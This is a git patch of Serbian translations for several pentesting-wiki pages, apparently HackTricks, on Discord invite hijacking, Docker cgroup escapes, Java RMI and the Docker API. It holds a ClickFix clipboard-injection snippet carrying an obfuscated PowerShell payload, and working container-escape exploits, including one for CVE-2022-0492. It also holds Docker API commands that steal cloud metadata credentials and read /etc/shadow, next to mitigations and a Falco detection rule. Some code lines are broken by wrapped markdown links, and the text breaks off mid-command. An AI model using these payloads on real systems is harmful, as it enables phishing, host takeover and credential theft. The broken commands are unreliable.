From dd4d282c207c65a843f470dc1042816903609c11 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 12 Jul 2025 15:33:21 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/phishing-methodolog --- .../discord-invite-hijacking.md | 18 +-- .../docker-release_agent-cgroups-escape.md | 120 ++++++++++++++---- .../1099-pentesting-java-rmi.md | 32 ++--- .../2375-pentesting-docker.md | 32 ++--- .../pentesting-web/joomla.md | 8 +- .../pentesting-web/moodle.md | 6 +- .../low-power-wide-area-network.md | 26 ++-- 7 files changed, 157 insertions(+), 85 deletions(-) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md index c2f2c7565..f19006056 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md @@ -19,7 +19,7 @@ Ranljivost Discord-ovog sistema za poziv omogućava pretnjama da preuzmu istekao - Prikupite pozivne kodove od interesa (privremene ili prilagođene). 2. Pre-registration - Kreirajte ili koristite postojeći Discord server sa privilegijama Level 3 pojačanja. -- U **Podešavanja servera → Prilagođeni URL**, pokušajte da dodelite ciljni pozivni kod. Ako bude prihvaćen, kod je rezervisan od strane zlonamernog servera. +- U **Server Settings → Vanity URL**, pokušajte da dodelite ciljni pozivni kod. Ako bude prihvaćen, kod je rezervisan od strane zlonamernog servera. 3. Aktivacija preuzimanja - Za privremene pozive, sačekajte da originalni poziv istekne (ili ga ručno obrišite ako kontrolišete izvor). - Za kodove koji sadrže velika slova, varijanta sa malim slovima može se odmah preuzeti, iako preusmeravanje aktivira tek nakon isteka. @@ -29,13 +29,13 @@ Ranljivost Discord-ovog sistema za poziv omogućava pretnjama da preuzmu istekao ## Phishing tok putem Discord servera 1. Ograničite kanale servera tako da je vidljiv samo **#verify** kanal. -2. Postavite bota (npr. **Safeguard#0786**) da podstakne novajlije da se verifikuju putem OAuth2. -3. Bot preusmerava korisnike na phishing sajt (npr. `captchaguard.me`) pod izgovorom CAPTCHA ili koraka verifikacije. +2. Postavite bota (npr., **Safeguard#0786**) da podstakne novajlije da se verifikuju putem OAuth2. +3. Bot preusmerava korisnike na phishing sajt (npr., `captchaguard.me`) pod izgovorom CAPTCHA ili koraka verifikacije. 4. Implementirajte **ClickFix** UX trik: - Prikazujte poruku o pokvarenom CAPTCHA. -- Uputite korisnike da otvore **Win+R** dijalog, nalepite unapred učitanu PowerShell komandu i pritisnite Enter. +- Uputite korisnike da otvore **Win+R** dijalog, nalepite unapred učitanu PowerShell komandu i pritisnu Enter. -### ClickFix Primer ubrizgavanja u međuspremnik +### ClickFix Clipboard Injection Example ```javascript // Copy malicious PowerShell command to clipboard const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';` + @@ -46,16 +46,16 @@ navigator.clipboard.writeText(cmd); ``` Ovaj pristup izbegava direktno preuzimanje fajlova i koristi poznate UI elemente kako bi smanjio sumnju korisnika. -## Mitigacije +## Mogućnosti ublažavanja - Koristite trajne pozivnice koje sadrže barem jedno veliko slovo ili ne-alfanumerički karakter (nikada ne isteknu, ne mogu se ponovo koristiti). - Redovno menjajte pozivne kodove i opozovite stare linkove. - Pratite status pojačanja Discord servera i tvrdnje o vanity URL-ovima. -- Obrazujte korisnike da verifikuju autentičnost servera i izbegavaju izvršavanje komandi koje su kopirane iz međuspremnika. +- Obrazujte korisnike da provere autentičnost servera i izbegavaju izvršavanje komandi koje su kopirane iz međuspremnika. ## Reference -- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/ -- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link +- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/) +- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index 839a5352d..83993ecf0 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -4,7 +4,9 @@ **Za više detalja, pogledajte** [**originalni blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Ovo je samo sažetak: -Original PoC: +--- + +## Klasični PoC (2019) ```shell d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release @@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` -Dokaz koncepta (PoC) demonstrira metodu za iskorišćavanje cgroups kreiranjem `release_agent` datoteke i pokretanjem njenog poziva za izvršavanje proizvoljnih komandi na hostu kontejnera. Evo pregleda koraka koji su uključeni: +PoC zloupotrebljava **cgroup-v1** `release_agent` funkciju: kada poslednji zadatak cgrupe koja ima `notify_on_release=1` izađe, kernel (u **početnim imenskim prostorima na hostu**) izvršava program čija je putanja sačuvana u zapisivom fajlu `release_agent`. Budući da se to izvršavanje dešava sa **potpunim root privilegijama na hostu**, sticanje prava pisanja na fajl je dovoljno za bekstvo iz kontejnera. + +### Kratak, čitljiv vodič + +1. **Pripremite novu cgroup** -1. **Pripremite Okruženje:** -- Direktorijum `/tmp/cgrp` se kreira da služi kao tačka montiranja za cgroup. -- RDMA cgroup kontroler se montira na ovaj direktorijum. U slučaju odsustva RDMA kontrolera, predlaže se korišćenje `memory` cgroup kontrolera kao alternative. -```shell -mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x -``` -2. **Postavite Dete Cgroup:** -- Dete cgroup pod imenom "x" se kreira unutar montirane cgroup direktorije. -- Obaveštenja su omogućena za "x" cgroup pisanjem 1 u njegov notify_on_release fajl. ```shell +mkdir /tmp/cgrp +mount -t cgroup -o rdma cgroup /tmp/cgrp # ili –o memory +mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release ``` -3. **Konfigurišite Release Agent:** -- Putanja kontejnera na hostu se dobija iz /etc/mtab datoteke. -- release_agent datoteka cgrupa se zatim konfiguriše da izvrši skriptu nazvanu /cmd smeštenu na dobijenoj putanji hosta. + +2. **Usmerite `release_agent` na skriptu koju kontroliše napadač na hostu** + ```shell -host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` +host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab) echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` -4. **Kreirajte i Konfigurišite /cmd Skriptu:** -- /cmd skripta se kreira unutar kontejnera i konfiguriše se da izvršava ps aux, preusmeravajući izlaz u datoteku pod imenom /output u kontejneru. Puni put do /output na hostu je specificiran. + +3. **Postavite payload** + ```shell -echo '#!/bin/sh' > /cmd -echo "ps aux > $host_path/output" >> /cmd -chmod a+x /cmd +cat <<'EOF' > /cmd +#!/bin/sh +ps aux > "$host_path/output" +EOF +chmod +x /cmd ``` -5. **Pokreni Napad:** -- Proces se pokreće unutar "x" child cgroup i odmah se prekida. -- Ovo pokreće `release_agent` (skriptu /cmd), koja izvršava ps aux na hostu i zapisuje izlaz u /output unutar kontejnera. + +4. **Pokrenite notifikator** + ```shell -sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" +sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # dodajemo sebe i odmah izlazimo +cat /output # sada sadrži procese na hostu ``` + +--- + +## 2022 kernel ranjivost – CVE-2022-0492 + +U februaru 2022. Yiqi Sun i Kevin Wang su otkrili da **kernel *nije* proveravao privilegije kada je proces pisao u `release_agent` u cgroup-v1** (funkcija `cgroup_release_agent_write`). + +Efektivno **bilo koji proces koji je mogao da montira hijerarhiju cgrupe (npr. putem `unshare -UrC`) mogao je da piše proizvoljnu putanju u `release_agent` bez `CAP_SYS_ADMIN` u *početnom* korisničkom imenskom prostoru**. Na kontejneru sa podrazumevanom konfiguracijom koji se pokreće kao root, ovo je omogućilo: + +* eskalaciju privilegija na root na hostu; ↗ +* bekstvo iz kontejnera bez privilegija kontejnera. + +Greška je dodeljena **CVE-2022-0492** (CVSS 7.8 / Visoko) i ispravljena u sledećim verzijama kernela (i svim kasnijim): + +* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299. + +Patch commit: `1e85af15da28 "cgroup: Fix permission checking"`. + +### Minimalni exploit unutar kontejnera +```bash +# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside +apk add --no-cache util-linux # provides unshare +unshare -UrCm sh -c ' +mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c; +echo 1 > /tmp/c/notify_on_release; +echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host +(sleep 1; echo 0 > /tmp/c/cgroup.procs) & +while true; do sleep 1; done +' +``` +Ako je kernel ranjiv, busybox binarni fajl sa *host*-a se izvršava sa punim root pristupom. + +### Ojačavanje i ublažavanje + +* **Ažurirajte kernel** (≥ verzije iznad). Zakrpa sada zahteva `CAP_SYS_ADMIN` u *početnom* korisničkom imenskom prostoru da bi pisala u `release_agent`. +* **Preferirajte cgroup-v2** – ujedinjena hijerarhija **potpuno je uklonila `release_agent` funkciju**, eliminišući ovu klasu eskapa. +* **Onemogućite neprivilegovane korisničke prostore** na hostovima koji ih ne trebaju: +```shell +sysctl -w kernel.unprivileged_userns_clone=0 +``` +* **Obavezna kontrola pristupa**: AppArmor/SELinux politike koje odbijaju `mount`, `openat` na `/sys/fs/cgroup/**/release_agent`, ili uklanjaju `CAP_SYS_ADMIN`, zaustavljaju tehniku čak i na ranjivim kernelima. +* **Read-only bind-mask** svih `release_agent` fajlova (primer skripte Palo Alto): +```shell +for f in $(find /sys/fs/cgroup -name release_agent); do +mount --bind -o ro /dev/null "$f" +done +``` + +## Detekcija u vreme izvršavanja + +[`Falco`](https://falco.org/) dolazi sa ugrađenim pravilom od v0.32: +```yaml +- rule: Detect release_agent File Container Escapes +desc: Detect an attempt to exploit a container escape using release_agent +condition: open_write and container and fd.name endswith release_agent and +(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and +thread.cap_effective contains CAP_SYS_ADMIN +output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)" +priority: CRITICAL +tags: [container, privilege_escalation] +``` +Pravilo se aktivira na svaki pokušaj pisanja u `*/release_agent` iz procesa unutar kontejnera koji još uvek ima `CAP_SYS_ADMIN`. + +## Reference + +* [Unit 42 – CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – detaljna analiza i skripta za ublažavanje. +* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/) + {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/1099-pentesting-java-rmi.md b/src/network-services-pentesting/1099-pentesting-java-rmi.md index 78548151e..3db4f6be0 100644 --- a/src/network-services-pentesting/1099-pentesting-java-rmi.md +++ b/src/network-services-pentesting/1099-pentesting-java-rmi.md @@ -14,20 +14,20 @@ PORT STATE SERVICE VERSION 37471/tcp open java-rmi Java RMI 40259/tcp open ssl/java-rmi Java RMI ``` -Obično su samo podrazumevani _Java RMI_ komponente (_RMI Registry_ i _Activation System_) vezane za uobičajene portove. _Remote objects_ koji implementiraju stvarnu _RMI_ aplikaciju obično su vezani za nasumične portove kao što je prikazano u gornjem izlazu. +Obično su samo podrazumevani _Java RMI_ komponente (_RMI Registry_ i _Activation System_) vezani za uobičajene portove. _Remote objects_ koji implementiraju stvarnu _RMI_ aplikaciju obično su vezani za nasumične portove kao što je prikazano u gornjem izlazu. _nmap_ ponekad ima problema sa identifikovanjem _SSL_ zaštićenih _RMI_ usluga. Ako naiđete na nepoznatu ssl uslugu na uobičajenom _RMI_ portu, trebate dalje istražiti. ## RMI Komponente -U najjednostavnijim terminima, _Java RMI_ omogućava programeru da učini _Java objekat_ dostupnim na mreži. Ovo otvara _TCP_ port na kojem se klijenti mogu povezati i pozvati metode na odgovarajućem objektu. Iako ovo zvuči jednostavno, postoji nekoliko izazova koje _Java RMI_ treba da reši: +Jednostavno rečeno, _Java RMI_ omogućava programeru da učini _Java objekat_ dostupnim na mreži. Ovo otvara _TCP_ port na kojem se klijenti mogu povezati i pozvati metode na odgovarajućem objektu. Iako ovo zvuči jednostavno, postoji nekoliko izazova koje _Java RMI_ treba da reši: 1. Da bi poslali poziv metode putem _Java RMI_, klijenti treba da znaju IP adresu, port za slušanje, implementiranu klasu ili interfejs i `ObjID` ciljanog objekta ( `ObjID` je jedinstveni i nasumični identifikator koji se kreira kada objekat postane dostupan na mreži. Potreban je jer _Java RMI_ omogućava više objekata da slušaju na istom _TCP_ portu). 2. Daljinski klijenti mogu alocirati resurse na serveru pozivajući metode na izloženom objektu. _Java virtuelna mašina_ treba da prati koji od ovih resursa su još u upotrebi i koji od njih mogu biti prikupljeni kao smeće. -Prvi izazov se rešava putem _RMI registry_, koja je u suštini servis za imenovanje za _Java RMI_. Sam _RMI registry_ je takođe _RMI servis_, ali je implementirani interfejs i `ObjID` fiksni i poznati svim _RMI_ klijentima. Ovo omogućava _RMI_ klijentima da koriste _RMI_ registry samo znajući odgovarajući _TCP_ port. +Prvi izazov rešava _RMI registry_, koji je u suštini servis za imenovanje za _Java RMI_. _RMI registry_ je takođe _RMI usluga_, ali je implementirani interfejs i `ObjID` fiksni i poznati svim _RMI_ klijentima. Ovo omogućava _RMI_ klijentima da koriste _RMI_ registry samo znajući odgovarajući _TCP_ port. -Kada programeri žele da učine svoje _Java objekte_ dostupnim unutar mreže, obično ih vezuju za _RMI registry_. _Registry_ čuva sve informacije potrebne za povezivanje sa objektom (IP adresa, port za slušanje, implementirana klasa ili interfejs i vrednost `ObjID`) i čini ih dostupnim pod ljudski čitljivim imenom ( _bound name_). Klijenti koji žele da koriste _RMI servis_ traže od _RMI registry_ odgovarajući _bound name_ i registry vraća sve potrebne informacije za povezivanje. Tako je situacija u suštini ista kao sa običnim _DNS_ servisom. Sledeći spisak prikazuje mali primer: +Kada programeri žele da učine svoje _Java objekte_ dostupnim unutar mreže, obično ih vezuju za _RMI registry_. _Registry_ čuva sve informacije potrebne za povezivanje sa objektom (IP adresa, port za slušanje, implementirana klasa ili interfejs i vrednost `ObjID`) i čini ih dostupnim pod ljudski čitljivim imenom ( _bound name_). Klijenti koji žele da koriste _RMI uslugu_ traže od _RMI registry_ odgovarajuće _bound name_ i registry vraća sve potrebne informacije za povezivanje. Tako je situacija u suštini ista kao sa običnom _DNS_ uslugom. Sledeći spisak prikazuje mali primer: ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; @@ -59,11 +59,11 @@ Zajedno sa zastarelim _Activation System_, ovo su tri podrazumevana komponenta _ 2. _Activation System_ (`ObjID = 1`) 3. _Distributed Garbage Collector_ (`ObjID = 2`) -Podrazumevane komponente _Java RMI_ su poznate vektore napada već neko vreme i više ranjivosti postoje u zastarelim verzijama _Java_. Sa stanovišta napadača, ove podrazumevane komponente su zanimljive, jer implementiraju poznate klase / interfejse i lako je moguće interagovati sa njima. Ova situacija je drugačija za prilagođene _RMI services_. Da biste pozvali metodu na _remote object_, morate unapred znati odgovarajući potpis metode. Bez poznavanja postojećeg potpisa metode, ne postoji način da komunicirate sa _RMI service_. +Podrazumevane komponente _Java RMI_ su poznati vektori napada već neko vreme i više ranjivosti postoje u zastarelim verzijama _Java_. Sa stanovišta napadača, ove podrazumevane komponente su zanimljive, jer implementiraju poznate klase / interfejse i lako je moguće interagovati sa njima. Ova situacija je drugačija za prilagođene _RMI services_. Da biste pozvali metodu na _remote object_, morate unapred znati odgovarajući potpis metode. Bez poznavanja postojećeg potpisa metode, ne postoji način da komunicirate sa _RMI service_. ## RMI Enumeration -[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) je _Java RMI_ skener ranjivosti koji je sposoban da automatski identifikuje uobičajene _RMI vulnerabilities_. Kada god identifikujete _RMI_ endpoint, trebali biste to isprobati: +[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) je _Java RMI_ skener ranjivosti koji je sposoban da automatski identifikuje uobičajene _RMI vulnerabilities_. Kada identifikujete _RMI_ endpoint, trebali biste to isprobati: ``` $ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: @@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010 [+] [+] RMI server codebase enumeration: [+] -[+] - http://iinsecure.dev/well-hidden-development-folder/ +[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/) [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> de.qtc.rmg.server.interfaces.IPlainServer [+] @@ -138,7 +138,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' ``` ## Bruteforcing Remote Methods -Čak i kada tokom enumeracije nisu identifikovane ranjivosti, dostupne _RMI_ usluge mogu i dalje izložiti opasne funkcije. Štaviše, iako je _RMI_ komunikacija sa _RMI_ podrazumevajućim komponentama zaštićena filtrima za deserializaciju, kada se razgovara sa prilagođenim _RMI_ uslugama, takvi filteri obično nisu prisutni. Poznavanje validnih potpisa metoda na _RMI_ uslugama je stoga dragoceno. +Čak i kada nisu identifikovane ranjivosti tokom enumeracije, dostupne _RMI_ usluge i dalje mogu izložiti opasne funkcije. Štaviše, iako je _RMI_ komunikacija sa _RMI_ podrazumevanim komponentama zaštićena filtrima za deserializaciju, kada se razgovara sa prilagođenim _RMI_ uslugama, takvi filteri obično nisu prisutni. Poznavanje validnih potpisa metoda na _RMI_ uslugama je stoga dragoceno. Nažalost, _Java RMI_ ne podržava enumeraciju metoda na _daljinskim objektima_. Ipak, moguće je bruteforcovati potpise metoda pomoću alata kao što su [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ili [rmiscout](https://github.com/BishopFox/rmiscout): ``` @@ -205,11 +205,11 @@ Više informacija može se naći u ovim člancima: - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [rmiscout](https://bishopfox.com/blog/rmiscout) -Osim pogađanja, trebali biste takođe potražiti u pretraživačima ili _GitHub_-u za interfejsom ili čak implementacijom naiđenog _RMI_ servisa. _Bound name_ i naziv implementirane klase ili interfejsa mogu biti od pomoći ovde. +Osim pogađanja, trebali biste takođe potražiti u pretraživačima ili _GitHub_-u za interfejs ili čak implementaciju susretnutog _RMI_ servisa. _Bound name_ i naziv implementirane klase ili interfejsa mogu biti od pomoći ovde. ## Poznati Interfejsi -[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) označava klase ili interfejse kao `poznate` ako su navedene u internom bazi podataka alata o poznatim _RMI servisima_. U tim slučajevima možete koristiti `poznatu` akciju da dobijete više informacija o odgovarajućem _RMI servisu_: +[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) označava klase ili interfejse kao `known` ako su navedeni u internom bazi podataka alata o poznatim _RMI servisima_. U tim slučajevima možete koristiti `known` akciju da dobijete više informacija o odgovarajućem _RMI servisu_: ``` $ rmg enum 172.17.0.2 1090 | head -n 5 [+] RMI registry bound names: @@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: -[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html -[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi +[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html) +[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi) [+] [+] Vulnerabilities: [+] @@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: -[+] - https://github.com/qtc-de/beanshooter +[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) [+] [+] ----------------------------------- [+] Name: @@ -266,19 +266,19 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: -[+] - https://github.com/qtc-de/beanshooter +[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) ``` ## Shodan - `port:1099 java` -## Alati +## Tools - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [rmiscout](https://github.com/BishopFox/rmiscout) - [BaRMIe](https://github.com/NickstaDB/BaRMIe) -## Reference +## References - [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) diff --git a/src/network-services-pentesting/2375-pentesting-docker.md b/src/network-services-pentesting/2375-pentesting-docker.md index eff879f96..3d33422fd 100644 --- a/src/network-services-pentesting/2375-pentesting-docker.md +++ b/src/network-services-pentesting/2375-pentesting-docker.md @@ -11,8 +11,8 @@ Docker je **vodeća platforma** u **industriji kontejnerizacije**, koja prednja #### Osnovna arhitektura dockera - [**containerd**](http://containerd.io): Ovo je **osnovni runtime** za kontejnere, zadužen za sveobuhvatno **upravljanje životnim ciklusom kontejnera**. To uključuje upravljanje **prenosom i skladištenjem slika**, pored nadgledanja **izvršavanja, praćenja i umrežavanja** kontejnera. **Detaljniji uvidi** o containerd su **dalje istraženi**. -- **container-shim** igra ključnu ulogu kao **posrednik** u upravljanju **headless kontejnerima**, preuzimajući ulogu od **runc** nakon što su kontejneri inicijalizovani. -- [**runc**](http://runc.io): Poznat po svojim **laganim i univerzalnim runtime** sposobnostima, runc je usklađen sa **OCI standardom**. Koristi ga containerd za **pokretanje i upravljanje kontejnerima** prema **OCI smernicama**, razvijajući se iz originalnog **libcontainer**. +- **container-shim** igra ključnu ulogu kao **posrednik** u upravljanju **headless kontejnerima**, preuzimajući bez problema od **runc** nakon što su kontejneri inicijalizovani. +- [**runc**](http://runc.io): Poznat po svojim **laganim i univerzalnim runtime** sposobnostima, runc je usklađen sa **OCI standardom**. Koristi se od strane containerd za **pokretanje i upravljanje kontejnerima** prema **OCI smernicama**, razvijajući se iz originalnog **libcontainer**. - [**grpc**](http://www.grpc.io) je ključan za **olakšavanje komunikacije** između containerd i **docker-engine**, osiguravajući **efikasnu interakciju**. - [**OCI**](https://www.opencontainers.org) je od suštinskog značaja za održavanje **OCI specifikacija** za runtime i slike, pri čemu su najnovije verzije Dockera **usaglašene sa OCI standardima za slike i runtime**. @@ -41,11 +41,11 @@ docker system prune -a ``` #### Containerd -**Containerd** je posebno razvijen da zadovolji potrebe platformi za kontejnere kao što su **Docker i Kubernetes**, između ostalog. Njegov cilj je da **pojednostavi izvršavanje kontejnera** na različitim operativnim sistemima, uključujući Linux, Windows, Solaris i druge, apstrahujući funkcionalnosti specifične za operativni sistem i sistemske pozive. Cilj Containerd-a je da uključi samo osnovne funkcije koje su potrebne njegovim korisnicima, teži da izostavi nepotrebne komponente. Međutim, postizanje ovog cilja u potpunosti se priznaje kao izazovno. +**Containerd** je posebno razvijen da zadovolji potrebe platformi za kontejnere kao što su **Docker i Kubernetes**, između ostalog. Njegova svrha je da **pojednostavi izvršavanje kontejnera** na različitim operativnim sistemima, uključujući Linux, Windows, Solaris i druge, apstrahujući funkcionalnosti specifične za operativni sistem i sistemske pozive. Cilj Containerd-a je da uključi samo osnovne funkcije koje su potrebne njegovim korisnicima, te da teži izostavljanju nepotrebnih komponenti. Međutim, potpuno postizanje ovog cilja se priznaje kao izazovno. Ključna dizajnerska odluka je da **Containerd ne upravlja mrežom**. Mreža se smatra kritičnim elementom u distribuiranim sistemima, sa složenostima kao što su Softverski Definisana Mreža (SDN) i otkrivanje usluga koje se značajno razlikuju od jedne platforme do druge. Stoga, Containerd prepušta aspekte mreže platformama koje podržava. -Dok **Docker koristi Containerd** za pokretanje kontejnera, važno je napomenuti da Containerd podržava samo podskup Docker-ovih funkcionalnosti. Konkretno, Containerd nema mogućnosti upravljanja mrežom prisutne u Docker-u i ne podržava direktno kreiranje Docker swarm-ova. Ova razlika naglašava fokusiranu ulogu Containerd-a kao okruženja za izvršavanje kontejnera, delegirajući specijalizovanije funkcionalnosti platformama sa kojima se integriše. +Dok **Docker koristi Containerd** za pokretanje kontejnera, važno je napomenuti da Containerd podržava samo podskup funkcionalnosti Dockera. Konkretno, Containerd nema mogućnosti upravljanja mrežom prisutne u Dockeru i ne podržava direktno kreiranje Docker swarm-ova. Ova razlika naglašava fokusiranu ulogu Containerd-a kao okruženja za izvršavanje kontejnera, delegirajući specijalizovanije funkcionalnosti platformama sa kojima se integriše. ```bash #Containerd CLI ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image @@ -75,7 +75,7 @@ Podman je dizajniran da bude kompatibilan sa Docker-ovim API-jem, omogućavajuć Podmanov pristup nudi sigurnu i fleksibilnu alternativu Dockera, naglašavajući upravljanje privilegijama korisnika i kompatibilnost sa postojećim Docker radnim tokovima. -> [!NOTE] +> [!TIP] > Imajte na umu da, kako Podman teži da podrži isti API kao Docker, možete koristiti iste komande sa Podman-om kao sa Docker-om, kao što su: > > ```bash @@ -98,7 +98,7 @@ PORT STATE SERVICE #### Manual -Napomena: da biste enumerisali docker API, možete koristiti `docker` komandu ili `curl` kao u sledećem primeru: +Napomena da da biste enumerisali docker API možete koristiti `docker` komandu ili `curl` kao u sledećem primeru: ```bash #Using curl curl -s http://open.docker.socket:2375/version | jq #Get version @@ -136,7 +136,7 @@ GitCommit: fec3683 ``` Ako možete **kontaktirati udaljeni docker API sa `docker` komandom** možete **izvršiti** bilo koju od **docker** [**komandi koje su prethodno** komentarisane](2375-pentesting-docker.md#basic-commands) da biste komunicirali sa servisom. -> [!NOTE] +> [!TIP] > Možete `export DOCKER_HOST="tcp://localhost:2375"` i **izbeći** korišćenje `-H` parametra sa docker komandom **Brza eskalacija privilegija** @@ -152,7 +152,7 @@ curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq #List processes inside a container curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq #Set up and exec job to hit the metadata URL -curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}' +curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'] #Get the output curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}' # list secrets (no secrets/swarm not set up) @@ -199,14 +199,14 @@ cat /mnt/etc/shadow ### Eskalacija privilegija -Ako ste unutar hosta koji koristi docker, možete [**pročitati ove informacije da pokušate da povećate privilegije**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket). +Ako ste unutar hosta koji koristi docker, možete [**pročitati ove informacije da pokušate da eskalirate privilegije**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket). ### Otkriće tajni u aktivnim Docker kontejnerima ```bash docker ps [| grep ] docker inspect ``` -Proverite **env** (sekcija promenljivih okruženja) za tajne i možda ćete pronaći: +Proverite **env** (sekciju promenljivih okruženja) za tajne i možda ćete pronaći: - Lozinke. - IP adrese. @@ -218,9 +218,9 @@ Ako želite da izvučete datoteku: ```bash docker cp :/etc/ ``` -### Osiguranje vašeg Dockera +### Osiguravanje vašeg Dockera -#### Osiguranje Docker instalacije i korišćenja +#### Osiguravanje Docker instalacije i korišćenja - Možete koristiti alat [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) da pregledate vašu trenutnu docker instalaciju. - `./docker-bench-security.sh` @@ -231,15 +231,15 @@ docker cp :/etc/ - `docker run --rm -it --pid host r.j3ss.co/amicontained` - `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` -#### Osiguranje Docker slika +#### Osiguravanje Docker slika - Možete koristiti docker sliku [https://github.com/quay/clair](https://github.com/quay/clair) da skenira vaše druge docker slike i pronađe ranjivosti. - `docker run --rm -v /root/clair_config/:/config -p 